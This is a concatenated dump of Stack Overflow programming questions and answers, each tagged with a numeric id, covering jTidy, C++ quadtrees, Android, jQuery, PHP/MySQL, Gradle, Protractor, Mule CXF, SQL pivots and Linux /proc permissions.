8885586	0	jTidy returns nothing after tidying HTML <p>I have come across a very annoying problem when using jTidy (on Android). I have found jTidy works on every HTML Document I have tested it against, except the following:</p> <pre><code> &lt;!DOCTYPE html&gt; &lt;html lang="en"&gt; &lt;head&gt; &lt;meta charset="utf-8" /&gt; &lt;!-- Always force latest IE rendering engine &amp; Chrome Frame Remove this if you use the .htaccess --&gt; &lt;meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1" /&gt; &lt;title&gt;templates&lt;/title&gt; &lt;meta name="description" content="" /&gt; &lt;meta name="author" content="" /&gt; &lt;meta name="viewport" content="width=device-width; initial-scale=1.0" /&gt; &lt;!-- Replace favicon.ico &amp; apple-touch-icon.png in the root of your domain and delete these references --&gt; &lt;link rel="shortcut icon" href="/favicon.ico" /&gt; &lt;link rel="apple-touch-icon" href="/apple-touch-icon.png" /&gt; &lt;/head&gt; &lt;body&gt; &lt;div&gt; &lt;header&gt; &lt;h1&gt;Page Heading&lt;/h1&gt; &lt;/header&gt; &lt;nav&gt; &lt;p&gt;&lt;a href="/"&gt;Home&lt;/a&gt;&lt;/p&gt; &lt;p&gt;&lt;a href="/contact"&gt;Contact&lt;/a&gt;&lt;/p&gt; &lt;/nav&gt; &lt;div&gt; &lt;/div&gt; &lt;footer&gt; &lt;p&gt;&amp;copy; Copyright&lt;/p&gt; &lt;/footer&gt; &lt;/div&gt; &lt;/body&gt; &lt;/html&gt; </code></pre> <p>But after tidying it, jTidy returns nothing (as in, if the String containing the Tidied HTML is called result, result.equals("") == true)</p> <p>I have noticed something very interesting though: if I remove everything in the body part of the HTML jTidy works perfectly. Is there something in the &lt;body&gt;&lt;/body&gt; jTidy doesn't like?</p> <p>Here is the Java code I am using:</p> <pre><code> public String tidy(String sourceHTML) { StringReader reader = new StringReader(sourceHTML); ByteArrayOutputStream baos = new ByteArrayOutputStream(); Tidy tidy = new Tidy(); tidy.setMakeClean(true); tidy.setQuiet(false); tidy.setIndentContent(true); tidy.setSmartIndent(true); tidy.parse(reader, baos); try { return baos.toString(mEncoding); } catch (UnsupportedEncodingException e) { return null; } } </code></pre> <p>Is there something wrong with my Java? Is this an error with jTidy? Is there any way I can make jTidy not do this? (I cannot change the HTML). If this absolutely cannot be fixed, are there any other good HTML Tidiers? Thanks very much!</p>
15484503	0	How to create Quadtree Copy constructor with Recursion <p>I am working on a copy constructor for a Quadtree. Here's what I have so far:</p> <pre><code> //Copy Constructor Quadtree :: Quadtree(const Quadtree &amp; other) { root = copy(other.root); resolution = other.resolution; } //Copy Constructor helper function Quadtree::QuadtreeNode *Quadtree :: copy (const QuadtreeNode* newRoot) { if (newRoot != NULL) { QuadtreeNode *node = new QuadtreeNode(newRoot-&gt;element); node-&gt;nwChild = copy(newRoot-&gt;nwChild); node-&gt;neChild = copy(newRoot-&gt;neChild); node-&gt;swChild = copy(newRoot-&gt;swChild); node-&gt;seChild = copy(newRoot-&gt;seChild); return node; } else return NULL; } </code></pre> <p>I'm not sure where I am going wrong, but I am receiving memory leaks and Valgrind is pointing out that I have uninitialized values. Help please?</p> <p>Attached, is my buildTree function - where I actually create the tree. I may be doing something wrong here?</p> <pre><code> void Quadtree :: buildTree (PNG const &amp; source, int theResolution) { buildTreeHelp (root, 0, 0, theResolution, source); } void Quadtree :: buildTreeHelp (QuadtreeNode * &amp; newRoot, int xCoord, int yCoord, int d, PNG const &amp; image) { if (d == 1) { RGBAPixel pixel = *image(xCoord, yCoord); newRoot = new QuadtreeNode(pixel); return; } newRoot = new QuadtreeNode (); newRoot = NULL; buildTreeHelp(newRoot-&gt;nwChild, xCoord, yCoord, d/2, image); buildTreeHelp(newRoot-&gt;neChild, xCoord + d/2, yCoord, d/2, image); buildTreeHelp(newRoot-&gt;swChild, d/2, yCoord + d/2, d/2, image); buildTreeHelp(newRoot-&gt;seChild, d/2 + xCoord, d/2 + yCoord, d/2, image); } </code></pre>
10980181	0	 <blockquote> <p>iv.setImageURI(@"C:\Users\SONY\Downloads\slide.butcher.home.jpg");</p> </blockquote> <p>You are trying pass Uri of image which is stored on your Computer!!!!</p> <p>Copy that file on your device SD Card. Suppose you copied it under <code>/sdcard/home.jpg</code></p> <p>Then use below code to display it in ImageView.</p> <pre><code>imageView.setImageUri(Uri.parse("/sdcard/home.jpg")); </code></pre>
27256363	0	 <p>To disable the "required" on the field you need...</p> <p>On your javascript document ready you can use this code:</p> <pre><code>$('#category_slug').removeAttr('required'); </code></pre>
22372128	0	 <blockquote> <p>How is a getting incremented?</p> </blockquote> <p><code>a</code> is increased by the <code>a++</code> in <code>while(a++&lt;=2);</code>.</p> <p><code>a++</code> will return the value of <code>a</code> and add one to it, so when <code>a</code> is 3, <code>a++&lt;=2</code> will be false, but <code>a</code> still get added by one.</p>
13467796	0	Display text when MySQL Column is 1 <p>So here is what I have... the issue is it is giving me errors and I cant get it to work for the life of me!</p> <pre><code>&lt;?php $link = mysql_connect($hostname, $username, $password); mysql_select_db($database); if (!$link) { die('Could not connect: ' . mysql_error()); } $result = mysql_query("SELECT * FROM messages WHERE reciever=$user"); while($row = mysql_fetch_assoc($result)) { if($row['recieved'] == '1') { echo '&lt;a class="new-message" title="New Message"&gt;New&lt;/a&gt;'; } else { echo '&amp;nbsp;'; } } ?&gt; </code></pre> <p>$user is the SESSION Username (comes from a different code page)</p> <p>What I want is for it to just show the New Message when it has not been read yet (=0) and show a space (or nothing) if the message has been read (=1).</p>
21417981	0	 <p>The VM Template system also lets you create additional view templates for categories and products. To override the default categories, category, or productdetails view, simple use the standard Joomla template override method. Copy <strong>/components/com_virtuemart/views/[categories, category, or productdetails]/default.php</strong> to <strong>/templates/[Your Template]/html/com_virtuemart/[categories, category, or productdetails]/default.php</strong> and make your changes to the template version of default.php.</p> <p>To create additional views that can be set on a per category/product basis, simply copy <strong>/templates/[Your Template]/html/[categories, category, or productdetails]/default.php</strong> to a new file name like <strong>/templates/[Your Template]/html/[categories, category, or productdetails]/myView.php</strong> and make the desired changes. In the Virtuemart category or product configuration, you will find <strong>myView</strong> in the drop down list of alternatives views that can be used.</p>
25250270	0	 <h2>Initial note</h2> <p>A lot of indeed <strong>smart</strong> man*years has been burnt on reverse-engineered efforts to tap into <strong><code>MT4/Server</code></strong> &lt;--> <strong><code>MT4/Terminal</code></strong> C/S communication.</p> <p>Some have died by themselves.</p> <p>Some have failed to survive the next change introduced by just another Build XYZ.</p> <p>Some have even made their way up to the court suits from MetaQuotes, Inc., for violation or infringements of the rights to protect one´s intellectual property.</p> <p>So, one shall rather really know, what is going to follow.</p> <h2>How it works?</h2> <p>Recent <strong><code>MT4/Terminal</code></strong> Build 670+ uses several regular streaming connections to <strong><code>MT4/Server</code></strong></p> <p>It does not take much time or efforts to employ a port-scanner of whatever brand to map, decode and analyse further internals. Nevertheless, do not rather forget the warning, [<strong>Initial note</strong>] rulez.</p> <p>There are <strong>no direct ways</strong> to "update" OHLC-candle / Volume objects of the <strong><code>MT4/Terminal</code></strong> graph</p> <p>There are <strong>many ways</strong> to add and control additional visual objects into the MT4 graphs, incl. but not limited to, compose a fully-fledged new, layered, augmented GUI, where user-defined &lt;<em><strong>application-code</strong></em>> retains the full real-time control of both the <strong><code>MVC-GUI</code></strong>-elements and the <strong><code>TradingExecutionEngine</code></strong>.</p> <h2>Can a current Metatrader proprietary architecture get extended?</h2> <p><strong>Yes.</strong></p> <p>Historically some three principal epochs / approaches were used.</p> <ol> <li><p>3rd party DLL based communications</p></li> <li><p>Windows O/S services based communications</p></li> <li><p>MetaQuotes, Inc., "new"-MQL4 ( post Build 600+ ) language extensions for socket communications</p></li> </ol> <p>User-defined &lt;<em><strong>application-code</strong></em>> can safely deploy rather a thread-safe external messaging infrastructure, to better "escape" from a (fragile, namely in post Build 670+ epoch) MT4 internalities and retain a full control over the "own" messaging / streaming layer.</p> <h2>Examples</h2> <p><strong><code>MT4/Terminal</code></strong> with socket/remote <strong><code>python</code></strong>-based CLI terminal &amp; add-on pseudo-language for both trading and scripted test-case batteries´ automated runs</p> <p><strong><code>MT4/Terminal</code></strong> with socket/remote external integrated RSS-feed service</p> <p><strong><code>MT4/Terminal</code></strong> with socket/remote GPU-hosted numerical solver for AI/ML decision making</p> <p><strong><code>MT4/Terminal</code></strong> with socket/remote cloud-based peer-to-peer community messaging</p>
13686635	0	 <p>Your <code>label</code> which contains the image is being replaced with <code>label123</code> in the <code>BorderLayout.CENTER</code> position, which <em>doesnt</em> have any image attached. You could use:</p> <pre><code>label123.setIcon(ii); </code></pre> <p>If you want the 2 labels to be shown, you could place the text-based <code>label123</code> in the <code>SOUTH</code> location:</p> <pre><code>jframe.add(label123, BorderLayout.SOUTH); </code></pre> <p>Note: Use <code>JLabel</code> instead of <code>Label</code>.</p>
35446324	0	 <p>One of the "old school" approaches before linq saved all our butts from this kind of thing. Uncompiled as I'm on mobile atm (doing code on a mobile is hard, just so you know).</p> <pre><code>private List&lt;int&gt; test() { var intResults = new List&lt;int&gt;(); var file = File.ReadLines("blah"); foreach (var line in file) { var lineSplit = line.Split( new char[] { ' ', '\t', '\r', '\n' }, StringSplitOptions.RemoveEmptyEntries); foreach (var item in lineSplit) { var result = 0; if (int.TryParse(item, out result)) intResults.Add(result); } } return intResults; } </code></pre> <p>I don't expect this to be the answer as the linq option is much more elegant but it's just showing other ways of achieving the same goal :)</p> <p>Edit: Method wasn't returning anything -_-</p>
3846389	0	Super simple java swing jlist question that I just can't figure out! <p>Ok, so I am working on a homework assignment, and I am using SWING to make a GUI for a Java project, and I am running into troubles with JList.</p> <p>I have a customer object that I have made and set attributes to, and I want to add the object into a TreeMap. I want to hook up the Treemap so that any and all objects that are in the map will populate (the name attribute anyway) inside of the JList.</p> <p>I have done a lot of looking around, and am seeing a lot about coding these things from scratch but little dealing with Swing implementation. I put my customer object into my map and then I would like for my JList to reflect the map's contents, but I don't know how to hook it up.</p> <pre><code> customers.put(c.getName(), c); this.customerList.(What can I do here? add Customer object?? I can't find what I need); </code></pre> <p>Thanks for your help!!!</p>
9261833	0	 <p>Like stated in <a href="http://facebook.stackoverflow.com/questions/7653095/unexpected-error-when-posting-photos-to-test-users">this answer</a> the problem can be caused when your application is in Sandbox mode.</p>
30663649	0	Initializing a static class member array with a non-trivial expression in C++11 <p>I would like to benchmark the performance of using a const cache for some static function inside a cache. So I have something like that:</p> <pre><code>class Foo { static double cost(int factor) { &lt;moderately complex function&gt; }; // Other stuff using the cost() function }; </code></pre> <p>And I would like to benchmark against an alternative version like this one:</p> <pre><code>class Foo { private: static double _cost(int factor) { &lt;same function as before&gt; }; static const double cost_cache[MAX_FACTOR] = ???; public: static double cost(int factor) { return cost_cache[factor]; }; // Other stuff } </code></pre> <p>With a way to initialize my cost_cache array in a way equivalent to</p> <pre><code>for (int idx = 0; i &lt; MAX_FACTOR; ++i) cost_cache[idx] = _cost(idx); </code></pre> <p>In a high-level functional language I would use a map primitive. How do I properly initialize that in C++11 (or C++14 ?) I saw other posts addressing similar questions, like <a href="http://stackoverflow.com/questions/27569249/">Initializing private member static const array</a>, but its solution is inapplicable in my case, I can't put the 10k values verbatim in source.</p> <p>I'm using <code>clang++</code></p>
11355608	0	php ajax reload webpage every 1 second constant database connection <p>i was wondering how can i reload a .php website containing a table every second with ajax? is it fine if i use javascript, but a quick php script would do just fine, does a loop for reload method work?</p> <p>I tried ajax with javascript but every time i used jquery load method it didnt load anything, and i see all ajax examples only deal with php websites that accept queries with get. I just need my webpage to reload and check for changes in the database as quick as possible. i tried the following code but nothing:</p> <p>$("#newnav").load("polling.php");</p>
20295442	0	 <p>I don't know why PhoneCallListener stops execution, however I solved this by putting "phoneListener = new PhoneCallListener();" in the onCreate method.</p>
33762072	0	Exclude a class depedency in compile, but include in testCompile for gradle <p>I'm having an issue where I have an old version of library Foo as a transitive dependency in one of my included libs. I want to use a newer version of library Foo in my testCompile, but it's causing a conflict when I run tests in intelliJ, as intelliJ is defaulting to using the older Foo lib.</p> <p>I've tried excluding Foo, and then explicitly including it in testCompile, but it seems the exclude overrides the include in testCompile. </p> <p>I'm currently using the below to force a resolution, but I would prefer I don't force compile dependencies to a specific version. </p> <pre><code>configurations.all { resolutionStrategy { force 'org.foo:bar:1.0' } } </code></pre>
34196694	0	Can't get test through the end with protractor <p>I have simple test doing login and trying to check if it's success:</p> <pre><code>describe('My Angular App', function () { describe('visiting the main homepage', function () { beforeEach(function () { browser.get('/'); element(By.id("siteLogin")).click(); }); it('should login successfully', function() { element(By.name("login_username")).sendKeys("test@email.com"); element(By.name("login_password")).sendKeys("testpass"); element(By.id("formLoginButton")).click().then(function() { browser.getCurrentUrl().then(function(url){ expect(url).toContain("profile"); }); }); }); }); }); </code></pre> <p>It goes well until that last part where I'm checking URL, and in <strong>Selenium Server</strong> I get:</p> <pre><code>INFO - Executing: [execute async script: try { return (function (rootSelector, callback) { var el = document.querySelector(rootSelector); try { if (window.getAngularTestability) { window.getAngularTestability(el).whenStable(callback); return; } if (!window.angular) { throw new Error('angular could not be found on the window'); } if (angular.getTestability) { angular.getTestability(el).whenStable(callback); } else { if (!angular.element(el).injector()) { throw new Error('root element (' + rootSelector + ') has no injector.' + ' this may mean it is not inside ng-app.'); } angular.element(el).injector().get('$browser'). notifyWhenNoOutstandingRequests(callback); } } catch (err) { callback(err.message); } }).apply(this, arguments); } catch(e) { throw (e instanceof Error) ? e : new Error(e); }, [body]]) </code></pre> <p>and also I get:</p> <pre><code>Failures: 1) My Angular App visiting the main homepage should login successfully Message: Error: Timeout - Async callback was not invoked within timeout specified by jasmine.DEFAULT_TIMEOUT_INTERVAL. </code></pre> <p>My <strong>protractor-conf.js</strong>:</p> <pre><code>exports.config = { seleniumAddress: 'http://localhost:4444/wd/hub', baseUrl: 'http://localhost:8080/Mysite', capabilities: { 'browserName': 'firefox' // muste use firefox because I can't get .click() to work in Chrome }, specs: [ 'spec-e2e/*.js' ], framework: 'jasmine2', jasmineNodeOpts: { isVerbose: true, showColors: true, defaultTimeoutInterval: 30000 } }; </code></pre> <p>I appreciate any help on this one. Thanks</p>
18319295	0	How to disable chunked encoding in Mule cxf:proxy-client <p>I'm using <code>Mule 3.3.2</code> <code>cxf:proxy-client</code> to call third-party Soap service this way:</p> <pre><code>&lt;outbound-endpoint address="https://www.xyz.biz/Dms/Call.aws" mimeType="text/xml" connector-ref="https.connector" responseTimeout="100000"&gt; &lt;cxf:proxy-client payload="envelope" enableMuleSoapHeaders="false"&gt; &lt;cxf:inInterceptors&gt; &lt;spring:bean class="org.apache.cxf.interceptor.LoggingInInterceptor" /&gt; &lt;/cxf:inInterceptors&gt; &lt;cxf:outInterceptors&gt; &lt;spring:bean class="org.apache.cxf.interceptor.LoggingOutInterceptor" /&gt; &lt;/cxf:outInterceptors&gt; &lt;/cxf:proxy-client&gt; &lt;/outbound-endpoint&gt; </code></pre> <p>By default, the message is transmitted as <code>chunked</code> which is good but unfortunately server cannot handle that. How can I disable chunking in <code>proxy-client</code> so that instead of <code>Transfer-Encoding: chunked</code>, <code>Content-Length</code> header is passed.</p>
29847824	0	 <p>This works for me </p> <pre><code>.directive('updateinfo',['$compile', function($compile) { function link(scope, element, attrs) { function update(){ var str = '&lt;input type="text" ng-model="log1" /&gt;'; element.html(str); } update(); element.replaceWith($compile(element.html())(scope)); } return { link: link }; }]); </code></pre>
34391012	0	 <p>I'm sure this will help:</p> <pre><code>DirectoryInfo DirInfo = new DirectoryInfo(@"C:/PCRequestFiles"); var files = from f in DirInfo.EnumerateFiles() where f.CreationTimeUtc &lt; EndDate &amp;&amp; f.CreationTimeUtc &gt; StartDate select f; </code></pre>
34428958	0	 <p>@Luksprog answer is correct but not working for me. After some experimentation, I found out that removing the android namespace from editTextStyle made it work for me.</p> <pre><code>&lt;style name="App_Theme" parent="@android:style/Theme.Holo"&gt; &lt;item name="editTextStyle"&gt;@style/App_EditTextStyle&lt;/item&gt; &lt;/style&gt; </code></pre> <p>and make your custom style to extend <code>Widget.EditText</code> or if using the AppCompat theme <code>Widget.AppCompat.EditText</code>:</p> <pre><code>&lt;style name="App_EditTextStyle" parent="@android:style/Widget.EditText"&gt; &lt;item name="android:background"&gt;@drawable/filled_roundededges_box_dark&lt;/item&gt; &lt;item name="android:textColor"&gt;#808080&lt;/item&gt; &lt;item name="android:layout_height"&gt;45dip&lt;/item&gt; &lt;/style&gt; </code></pre>
28819316	0	 <p>The MSDN documentation from the link you provided indicates that the new syntax for the DOM L4 event constructor pattern:</p> <blockquote> <p>Applies to Internet Explorer for Windows 10 Technical Preview and later.</p> </blockquote> <p>which is a different version of IE from what you are using. So it's expected that IE11 does not support this feature</p>
6516638	0	Loading different views into a custom view dynamically <p>I've an application that performs a multi-step process. Each step is implemented as a <code>NSView</code> subclass and I want to navigate between the different views. I'm trying this by implementing a custom view and then loading different views into the custom view I made. Is this the right way to do it? What is the best approach to implement this?</p>
28701159	0	confusion about .html() and .append() when I'm trying to overwrite elements in a loop <p>Sorry about the gory title. Effectively I'm trying to loop through a 2 dimensional array and I'm using autocomplete to output every time a single character is changed. If I use <code>.append</code> or <code>.prepend</code> then I have a long list of characters and that's not quite what I want, I'd like to overwrite every character change so that I'm not stuck with 50 results. I tried using <code>.html</code> and while it works to some extent (it overwrites) it only outputs the last element in the 2 dimensional array, which isn't quite what I want since I'd like to output all elements in the array.</p> <p>Here is my code: </p> <pre><code>for(var i = 0, len = data[1].length; i &lt; len; i++) { var currentDesc = data[2][i]; if(currentDesc.indexOf("may refer to:") &lt;= -1) { $('#results').append('&lt;div id="allResults"&gt;&lt;a href="'+ data[3][i] +'"&gt;'+ data[1][i] +'&lt;/a&gt;&lt;div id="descResults"&gt;'+ data[2][i] +'&lt;/div&gt;&lt;/div&gt;'); } } </code></pre> <p>Any ideas? I've just tried <code>.html()</code>, <code>.append</code>, and <code>.prepend</code></p>
36239903	0	What's the difference between Remove and Exclude when refactoring with PyCharm? <p>The <a href="https://www.jetbrains.com/help/pycharm/2016.1/refactoring-source-code.html?origin=old_help" rel="nofollow">official PyCharm docs</a> explain <code>Exclude</code> when it comes to refactoring: One can, say, rename something with refactoring (Shift+F6), causing the Find window to pop up with a Preview. Within, it shows files which will be updated as a result of the refactor. One can right-click on a file or folder in this Preview and choose <code>Remove</code> or <code>Exclude</code>. What's the difference? </p>
40414462	0	 <p>Here's an alternative using a ChartWrapper instead of a chart.</p> <pre><code>var opts = { "containerId": "chart_div", "dataTable": datatable, "chartType": "Table", "options": {"title": "Now you see the columns, now you don't!"} } var chartwrapper = new google.visualization.ChartWrapper(opts); // set the columns to show chartwrapper.setView({'columns': [0, 1, 4, 5]}); chartwrapper.draw(); </code></pre> <p>If you use a ChartWrapper, you can easily add a function to change the hidden columns, or show all the columns. To show all the columns, pass <code>null</code> as the value of <code>'columns'</code>. For instance, using jQuery, </p> <pre><code>$('button').click(function() { // use your preferred method to get an array of column indexes or null var columns = eval($(this).val()); chartwrapper.setView({'columns': columns}); chartwrapper.draw(); }); </code></pre> <p>In your html,</p> <pre><code>&lt;button value="[0, 1, 3]" &gt;Hide columns&lt;/button&gt; &lt;button value="null"&gt;Expand All&lt;/button&gt; </code></pre> <p>(Note: <code>eval</code> used for conciseness. Use what suits your code. It's beside the point.)</p>
33889128	0	 <p>its just missing its outer container.</p> <p>try this:</p> <pre><code>return new JsonResponse( array( array( "id" =&gt; 288, "title" =&gt; "Titanic", "year" =&gt; "1997" )) ); </code></pre> <p>this should output as:</p> <pre><code>[{"id":288,"title":"Titanic","year":"1997"}] </code></pre>
41030411	0	 <p>can you format your data in question. I am not sure whether I get youe point?</p> <pre><code> CREATE TABLE #tt([name] VARCHAR(10),[date] DATE,skill INT,seconds INT, calls int ) INSERT INTO #tt SELECT 'bob','9/2/2016',706,12771,56 UNION all SELECT 'bob','9/2/2016',707,4061,16 UNION all SELECT 'bob','9/2/2016',708,2577,15 UNION all SELECT 'bob','9/2/2016',709,2156,6 SELECT * FROM ( SELECT t.name,t.date,c.* FROM #tt AS t CROSS APPLY(VALUES(LTRIM(t.skill)+'sec',t.seconds),(LTRIM(t.skill)+'calls',t.seconds)) c(t,v) ) AS A PIVOT(MAX(v) FOR t IN ([706sec],[706calls],[707sec],[707calls],[708sec],[708calls],[709sec],[709calls])) p </code></pre> <pre> name date 706sec 706calls 707sec 707calls 708sec 708calls 709sec 709calls ---------- ---------- ----------- ----------- ----------- ----------- ----------- ----------- ----------- ----------- bob 2016-09-02 12771 12771 4061 4061 2577 2577 2156 2156 </pre> <p>if the count of skill is not fix, you can use dynamic script：</p> <pre><code> DECLARE @col VARCHAR(max),@sql VARCHAR(max) SELECT @col=ISNULL(@col+',[','[')+LTRIM(skill)+'sec],['+LTRIM(skill)+'calls]' FROM #tt GROUP BY skill SET @sql=' SELECT * FROM ( SELECT t.name,t.date,c.* FROM #tt AS t CROSS APPLY(VALUES(LTRIM(t.skill)+''sec'',t.seconds),(LTRIM(t.skill)+''calls'',t.seconds)) c(t,v) ) AS A PIVOT(MAX(v) FOR t IN ('+@col+')) p' EXEC (@sql) </code></pre>
40786489	0	 <p>try this one</p> <pre><code>self.textField.backgroundColor = [UIColor redColor]; </code></pre>
41043440	0	Excel MDX linked server fails connection test <p>My first post after 2 years of learning to write SQL and using SQL Server, most of my questions have been answered researching on this website, however I cannot find the answer to my question below:</p> <p>I am creating a new linked server, grabbing data from Excel using an MDX query in my SQL script. For example:</p> <pre><code>SELECT * into raw.example FROM openquery( Test1, 'MDX CODE/etc etc' </code></pre> <p>I clicked on my database > Server Objects > Linked Servers > New Linked Server > </p> <pre><code>Linker Server: TESTEXAMPLE Server Type: other data source Provider: Microsoft OLE DB Provider for Analysis Services 10.0 Product Name: Test1 Data Source: Name of server Provider String: Location: Catalog: OLAP </code></pre> <p>After I click "ok" to create this linked server this message comes up:</p> <blockquote> <p>The linked server has been created but failed a connection test. Do you want to keep the linked server?</p> <p>OLE DB provider 'MSOLAP' cannot be used for distributed queries because the provider is configured to run in single-threaded apartment mode. (Microsoft SQL Server, Error: 7308)</p> </blockquote> <p>I am not sure why it isn't connecting. Is it a server issue where I have to ask for permission to access it? Or do I somehow need to revert away from the provider being configured to run in a single-threaded apartment mode?</p> <p>I am doing this on my local SQL Server Express Edition machine. Whereas before my script and <code>OPENQUERY/MDX</code> query worked on a remote desktop server etc.</p> <p>I have looked at other posts but those solutions do not solve my problem.</p>
20171842	0	 <p>This issue is due to that Ant can not find the tools.jar file.</p> <p>You need to copy the tools.jar file and put it in the lib folder for the ant to work.</p> <p>Do a search for tools.jar file in the lib folders from other sdk libraries and put that in the above path in error.</p>
24489067	0	 <p>There is no GDI/canvas implementation built into Unity. Drawing these in rastered 2D would be quite hard in Unity (basically putpixel level, or finding some third party library).</p> <p>You have an alternative, though - you can draw these shapes in 3D, ignoring the third dimension. You have a few methods for this:</p> <ol> <li><p><a href="http://docs.unity3d.com/Manual/class-LineRenderer.html" rel="nofollow">Line renderers</a> - this one will be the easiest, but forget about anything else than just drawing the outline, no fill etc.</p></li> <li><p><a href="http://docs.unity3d.com/ScriptReference/Mesh.html" rel="nofollow">Make your own mesh</a> - This will let you use the geometry with your scene. It's an retained mode API (you init your geometry once)</p></li> <li><p><a href="http://docs.unity3d.com/ScriptReference/GL.html" rel="nofollow">Use the GL namespace</a> - This will be only rendered on the screen, no interaction with the scene. It's an immidiate mode API (draw everything on every frame)</p></li> </ol>
35316888	0	 <p>It depends when you start from (0,0) or at a random location in the matrix.</p> <p>If it is (0,0) ; use Depth First to go until the end of one branch then the others. Use Breadth First to iterate through all neigbouring nodes at a step. Check only down and right nodes.</p> <p>If it is at a random location in the matrix, you need to trace all 4 neighbouring nodes.</p>
1757169	0	 <p>Absolutely yes. There is no real ideal approach for everyone, however -- after much practice you will find that it will depend on what you're most comfortable with. Some of the ways we have used Virtualization:</p> <ul> <li>Virtualized complete .NET development environment in Windows XP, including VS 2008, IIS, MS SQL Server</li> <li>Virtualized complete PHP + RoR development environment in CentOS</li> <li>Virtualized multiple complete Java environments in Windows XP, including Eclipse, Tomcat / Jboss, MySQL and Apache</li> <li>Virtualized multiple complete server environments (with GUI's) in Server 2003, Server 2008, Ubuntu, CentOS, Red Hat, and openSUSE.</li> </ul> <p>In your case, I would say virtualize the entire desktop, then clone it so you can run multiple instances on which you can try your different variations of gem packages, plugins, and configurations. If your host machine has enough RAM -- at least 4GB, you should be able to run at least 3 instances needing 1GB of RAM each. Rule of thumb is to always reserve 1GB for host OS.</p> <p>Also, if your machine is fast enough, you should notice little to no lag when you're running in the virtual instance GUI, except possibly when running a build script or starting a server :)</p> <p>By the way, our virtualization client of choice is <a href="http://www.virtualbox.org/" rel="nofollow noreferrer">VirtualBox</a>.</p>
5666040	0	 <p>You may want to check out <a href="http://www.sencha.com/products/touch/demos/" rel="nofollow">Sencha Touch</a>, they provide a full HTML5 version of many common UI components for mobile web site development, including tab bars.</p>
11881861	0	 <p>It's because the file permissions are not the only protection you're encountering.</p> <p>Those aren't just regular text files on a file system, <code>procfs</code> is a window into process internals and you have to get past both the file permissions <em>plus</em> whatever other protections are in place.</p> <p>The maps show potentially dangerous information about memory usage and where executable code is located within the process space. If you look into ASLR, you'll see this was a method of preventing potential attackers from knowing where code was loaded and it wouldn't make sense to reveal it in a world-readable entry in <code>procfs</code>.</p> <p>This protection was added <a href="http://lwn.net/Articles/225589/">way back in 2007</a>:</p> <blockquote> <p>This change implements a check using "ptrace_may_attach" before allowing access to read the maps contents. To control this protection, the new knob /proc/sys/kernel/maps_protect has been added, with corresponding updates to the procfs documentation.</p> </blockquote> <p>Within <code>ptrace_may_attach()</code> (actually within one of the functions it calls) lies the following code:</p> <pre><code>if (((current-&gt;uid != task-&gt;euid) || (current-&gt;uid != task-&gt;suid) || (current-&gt;uid != task-&gt;uid) || (current-&gt;gid != task-&gt;egid) || (current-&gt;gid != task-&gt;sgid) || (current-&gt;gid != task-&gt;gid)) &amp;&amp; !capable(CAP_SYS_PTRACE)) return -EPERM; </code></pre> <p>so that, unless you have the same real user/group ID, saved user/group ID and effective user/group ID (i.e., no sneaky <code>setuid</code> stuff) and they're the same as the user/group ID that owns the process, you're not allowed to see inside that "file" (unless your process has the <code>CAP_SYS_PTRACE</code> capability of course).</p>
1706135	0	 <p>If your web server is <a href="http://blog.thinkphp.de/archives/136-Make-the-download-of-large-files-with-PHP-and-lighty-very-easy.html" rel="nofollow noreferrer">lighttpd</a> or <a href="http://www.adaniels.nl/articles/how-i-php-x-sendfile/" rel="nofollow noreferrer">Apache with mod_xsendfile</a>, then you can send the file by specifying a special <code>X-Sendfile</code> header. This allows the web server to make a <code>sendfile</code> call, which can be very, very fast. </p> <p>The reason is <code>sendfile</code> is usually an optimized kernel call which can take bits from the file system and directly put them on a TCP socket. </p>
13336097	0	 <p>The problem was solved by adding MAYSCRIPT to the applet tag in the html.</p> <p>Like this:</p> <pre><code>&lt;applet code="com.example.MyApplet.class" name="myapplet" codebase="http://localhost:8080/example/classes" align="baseline" width="200" height="200" MAYSCRIPT&gt; &lt;PARAM NAME="model" VALUE="models/HyaluronicAcid.xyz"&gt; alt="Your browser understands the &amp;lt;APPLET&amp;gt; tag but isn't running the applet, for some reason." Your browser is completely ignoring the &amp;lt;APPLET&amp;gt; tag! &lt;/applet&gt; </code></pre>
29048191	0	 <p>You mean:</p> <ol> <li>How to capture the card number from the returning data. see this <a href="http://www.markhagan.me/Samples/CreditCardSwipeMagneticStripProcessing" rel="nofollow">code</a>.</li> <li>How to interact with the Device, if USB Device see this <a href="https://msdn.microsoft.com/en-us/library/windows/desktop/ff468895(v=vs.85).aspx" rel="nofollow">code</a>,or serial Device use system.windows.IO.serial port class.</li> </ol>
33729876	0	how to send data http://localhost/someproject/editid/1 instead of http://localhost/someproject/editid=1 <p>how to send data <code>http://localhost/someproject/editid/1</code> instead of <code>http://localhost/someproject/client_list.php?editid=1</code> </p> <p>please let me know how the above url works,we need to use any api or webservices to pass above url parameters in php </p>
10060484	0	 <p>To check if two strings are the same in Java, use <code>.equals()</code>:</p> <pre><code>"1" == new String("1") //returns false "1".equals(new String("1")) //returns true </code></pre> <p>EDIT: Added new String("1") to ensure we are talking a new string.</p>
14627247	0	 <p>Jim, may I know what Operating System do you use? If you're using Windows Server OS, there should be no problem with the number of users that can access your application. But if you're using Windows client OS like XP, Vista, 7 then you have limits with simultaneous connections to your web server. </p>
16941136	0	 <p>Have a look at the Doctrine documentation to see what you can get in the <code>preUpdate</code> lifecycle callback: <a href="http://docs.doctrine-project.org/projects/doctrine-orm/en/latest/reference/events.html#preupdate" rel="nofollow">http://docs.doctrine-project.org/projects/doctrine-orm/en/latest/reference/events.html#preupdate</a> </p> <p>You have direct access to the original and changed values, so you don't have to query the database.</p> <p>And to answer your question, why the two values are the same: I'm not 100% sure on that but most probably the <code>EntityManager</code> actually understands that you want to retrieve the same object as you already have, so it returns it without querying the database. To actually query the DB again you would have to somehow refresh the object in the EM (which will probably end up in loosing your changes).</p>
